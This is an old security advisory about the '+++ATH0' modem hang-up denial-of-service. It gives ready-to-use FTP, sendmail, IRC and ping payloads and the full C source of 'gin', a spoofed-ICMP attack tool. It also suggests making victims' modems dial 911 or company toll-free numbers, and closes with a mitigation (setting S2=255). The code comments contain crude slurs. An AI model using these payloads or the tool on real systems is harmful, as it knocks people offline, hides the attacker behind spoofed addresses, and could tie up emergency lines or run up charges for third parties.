COMMAND
+++ATH0
SYSTEMS AFFECTED
Many OS's using a dial-up connection, IRCs
PROBLEM
Max Schau (Noc-Wage) posted following which was brought to you by
the people of #hackers undernet and M.C.S.R. It's about old
stuff, but still very present these days.
Most modems today follow the Hayes Command set (ATZ, ATDT, ATH0..)
Unfortunately the way that these modems handle certain strings
leaves them susceptible to a specific type of DoS attack. By
forcing the victim to respond with the string "+++ATH0" many
brands of modems will interpret the +++ATH0 as the user manually
attempting to enter command mode and execute a command. Because
of this, when the victim attempts to respond with the +++ATH0 the
modem sees it within the IP datagram and hangs up the modem.
An example of a possible attack follows (IP addresses have been
changed for obvious reasons):
[wage@koroshiya /]$ telnet 192.168.1.1 21
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
220 foo FTP server (Version wu-2.4.2-academ[BETA-15](1) Fri Dec 12
20:41:
USER +++ATH0
^]
telnet> close
Connection closed.
[wage@koroshiya wage]$ telnet 192.168.1.1 21
Trying 192.168.1.1...
telnet: Unable to connect to remote host: Network is unreachable
[wage@koroshiya wage]$
Modems known to be affected:
Logicode 28.8
Supra 33.6 (internal)
Diamond Supra v.90
Diamond SupraExpress 56k
Noblelink 56k Plug and Play
Zoom Internal 56kflex/v.90 (model 2812?)
A/Open(acer) 56k
Many more here, but only this has been tested.
On some machines the process (such as ftpd or sendmail) which the
attacker connected too does not realise the connection has been
lost, this can result on a seemingly random disconnect after
reconnecting. PPP does NOT compress the IP datagram by default,
thus the ip datagram contained within the PPP frame will be
exactly the same. Thus if the IP datagram contains "+++ATH0" the
modem will receive the string exactly as such. Two ways to cause
the victim to "send" you the +++ATH0 are to:
1) Connect to sendmail (does not work with qmail) do "HELO
blah.com". Then type "VRFY +++ATH0", normally it would
say: 550 +++ATH0... User unknown, but because their modem
interprets the +++ATH0 the modem is hung up.
2) Connect to FTP and type "USER +++ATH0". Normally it would
respond: 331 Password required for +++ATH0. But because
the modem sees the +++ATH0 it disconnects.
As you can see it is very simple, and millions of different ways
can easily be found to generate the same result. Same goes for
IRCs. For IRC users:
//raw NOTICE ToastyMan : $+ $chr(1) $+ PING +++ATH0 $+ $chr(1)
Also seems to work, and will work through bnc's or whatever proxy
you are going through, since it's part of the irc protocol.....
This only worked on one user though.
Of course, this attack is very similar to a pipe bomb. Sometimes
it works, sometimes it doesn't, and sometimes it blows up in your
face. If your modem is effected by this attack then that means
that if you try and attack there is a chance you will be
disconnected. When you send the +++ATH0 your modem will ALSO see
it. There are ways around this such as attacking from server on
a connection such a ISDN, cable modem...
Now following is MrPhoenix's way of getting the same result
WITHOUT needing to connect. He uses PING packets to get the same
result of forcing the victim to respond with the string. Affected
are all modems without the requirement of a 500msec or more idle
period after the +++ command, connected with a PPP connection w/o
encryption/compression. You can send an ICMP ECHO_REQUEST to the
target to elicit an ICMP ECHO_RESPONSE, and fill the packet with
the +++ATH0<CR> characters. The <CR> might help in some modems
which require the ATH0 command to be followed by carriage return.
So the target gets the ICMP ECHO_REQUEST and sends the ICMP
ECHO_REPLY to you with the same data of the ICMP ECHO_REQUEST
packet. This way the modem reads the +++, goes to command mode,
then reads the command ATH0, and closes the connection. To make
the above happen you can either make your own program to send the
required packet, or use the ping program with the *wonderful*
option "-p" with which you can specify up to 16 bytes to fill out
the packet to send. The "-p" option requires the pattern to be
entered in hex digits. The equivalent of the '+++ATH0<CR>' string
in hex is: 2b2b2b415448300d. The complete command is:
ping -p 2b2b2b415448300d <target>
The "-p" option is not supported by the"ping" program from MS
shiped with MS-Windows. Here is an example:
[root@narf ath0]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx
PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes
--- xxx.xxx.xxx.xxx ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss
[root@narf ath0]#
Also, it occurs that this vulnerability could possibly be used to
make the person's modem hang up and dial 911.
There was an e-mail exploit some time back that used exactly the
same DoS to hang peoples mail, but simply including the string
"+++ ATH0" (without the spaces) in an e-mail message. When a
vulnerable modem attempted to send the text, it went off-line
immediately.
The way the following exploit works is it hides escape/control
sequences in a ICMP echo_request packet (it contains the string
+++ATH0) the +++ sends the modem into escape mode (and if the
guard time on the modem is set ridiculously low) it will go into
command mode and you can issue it an ATH0 to hang up. It works
on the reply, because it receives the echo_request packet, then
duplicates the packet with a new timestamp and checksum,
dest/source hosts and returns it to the sender, when it returns
it the string is sent to the modem, and thus hanging it up. There
are a few conditions that must be met for it to work (if you don't
want to be vulnerable to this, fix these!)
1) target computer must not filter ICMP echo_request and must
know how to reply to one if it gets one
2) target computer must be using a modem (you can't hangup DS3s,
although you could hangup telco return connections... if you
can find one)
3) target computer must have a vulnerable modem (i.e. guard time
is set ridiculously low)
4) you have to be able to send spoofed packets (or..if you can't
you can use your own address, but then the target knows where
it came from)
In theory..it is possible to modify the program to do fun stuff
like make the target call some number after it hangs up (i.e.
+++ATH0,,,DT5551212) should make the modem hangup, pause for 6
seconds then call 5551212..this is fun for obvious reasons. Then
the next variation 'amp' came up with is a smurf like
implementation in which you could make a script to DoS a class C
subnet, with the number of your least favorite company, since
most company's have 800 numbers, not only does this cause chaos
to the phone bank, but also costs ~$.30 per call...
Also note: some machines seg fault when they run this, and setting
the environment variable MALLOC_CHECK_ to 1 seems to solve this.
And... this code will probably come out all offset and break when
you try to compile it... so just fix it, it compiles fine ( use
g++ -O3 -o gin gin.c).
/*
* gin.c [ fuck the soda nukers, im no kiddie ]
*
* Author: amputee (amputee@fack.net)
* Compiled on:
* Linux 2.2.9 i586 (GNU/Debian 2.2 development version)
* egcs-2.91.66
*
* [ disclaimer ]
* i really dont see how i could get in trouble for this stupid program
* its really not that great, but the legal system is gay these days,
* so...this program is for educational purposes only, and the author
* holds no liability for the actions of the people that use it, that
* includes dwarfs, cyclopses, albinos, and anyone else who may happen
* to use my program. dont modify or rip on this shit, suck me
* -- amp
*/
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#define VERSION "1.2-05.05" //fixed old compiler compatibility problems
#define FRIEND "foo"
void usage( char *name );
void banner( void );
char *get_progname( char *fullname );
void done( int foo );
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din );
unsigned short in_chksum( u_short *ipbuf, int iplen );
int main( int argc, char **argv )
{
struct hostent *sourceinfo, *destinfo;
struct sockaddr_in sin, din;
int sockfd, numpackets, i;
char *target, *source;
banner();
( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;
source = argv[1];
target = argv[2];
numpackets = ( atoi( argv[3] ) );
signal( SIGINT, done );
if( ( sourceinfo = gethostbyname( source ) ) == NULL )
{
printf( "cannot resolve source host!\n" );
exit( -1 );
}
memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr,
sourceinfo->h_length );
sin.sin_family = AF_INET;
if( ( destinfo = gethostbyname( target ) ) == NULL )
{
printf( "cannot resolve destination host!\n" );
exit( -1 );
}
memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr,
destinfo->h_length );
din.sin_family = AF_INET;
if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
{
printf( "Cannot get raw socket, you must be root!\n" );
exit( -1 );
}
printf( "Source Host\t\t: %s\n", inet_ntoa( sin.sin_addr ) );
printf( "Target Host\t\t: %s\n", inet_ntoa( din.sin_addr ) );
printf( "Number\t\t\t: %d\n", numpackets );
printf( "Have some gin sucka" );
for( i = 0; i < numpackets; i++ )
gin( sockfd, sin, din );
printf( "\n\nsent %d packet%c...done\n", numpackets, ( numpackets > 1
)
? 's' : ( char )NULL );
return 0;
}
void usage( char *name )
{
printf( "usage: %s <source host> <dest host> <num packets>\n[ http://www.rootshell.com/ ] \n\n", name
);
exit( 0 );
}
void banner( void )
{
printf( "\ngin [ v%s ] /\\ by amputee\n", VERSION );
printf( "compiled for: %s\n\n", FRIEND );
}
char *get_progname( char *fullname )
{
char *retval = strrchr( fullname, '/' );
return retval ? ++retval : fullname;
}
void done( int foo )
{
puts( "Exiting...\n" );
exit( 1 );
}
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din )
{
char *ginstring = "+++ATH0\r+++ATH0\r+++ATH0\r+++ATH0\r";
char *packet;
int total;
struct iphdr *ip;
struct icmphdr *icmp;
size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr );
size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct
timeval );
int len = strlen( ginstring );
packet = ( char * )malloc( iphlen + icplen + len );
ip = ( struct iphdr * )packet;
icmp = ( struct icmphdr * )( packet + iphlen );
( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen )], ( struct timezone * )NULL );
memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 ) );
ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen );
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = din.sin_addr.s_addr;
ip->check = in_chksum( ( u_short * )ip, iphlen );
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 ) ) );
total = ( iphlen + icplen + timlen + len + 16 );
sendto( port, packet, total, 0, ( struct sockaddr * )&din, sizeof( struct sockaddr ) );
free( packet );
}
// stolen from smurf
unsigned short in_chksum( u_short *ipbuf, int iplen )
{
register int nleft = iplen;
register int sum = 0;
u_short answer = 0;
while( nleft > 1 )
{
sum += *ipbuf++;
nleft -= 2;
}
if( nleft == 1 )
{
*( u_char * )( &answer ) = *( u_char * )ipbuf;
sum += answer;
}
sum = ( sum >> 16 ) + ( sum + 0xffff );
sum += ( sum >> 16 );
answer = ~sum;
return( answer );
}
SOLUTION
Some, such as the U.S. Robotics, 33.6 type modems require that
there be a pause of a about a second where no text is sent
preceding the +++ before going into command mode. This makes it
impossible to force the modem to hang up since there is no way to
get the victim machine to reply with +++ without data immediately
following. This is because PPP Frames have data after the IP
datagram, so if you some how managed to make the victim reply
with a damaged IP datagram that had +++ as the last three values,
the following end of the PPP frame would be the data which made
the modem ignore the +++. All of the USR modems tested against
were not effected, but most other brands ARE.
To protect yourself add in your modem initialization string
"s2=255" which will disable the modem's ability to go into command
mode. (Can cause problems for some people). What s2 does is
change the character which is used to enter command mode.
Normally any value over 127 disables the ability to manually enter
command mode but in some cases it requires a higher number, to be
sure just put 255.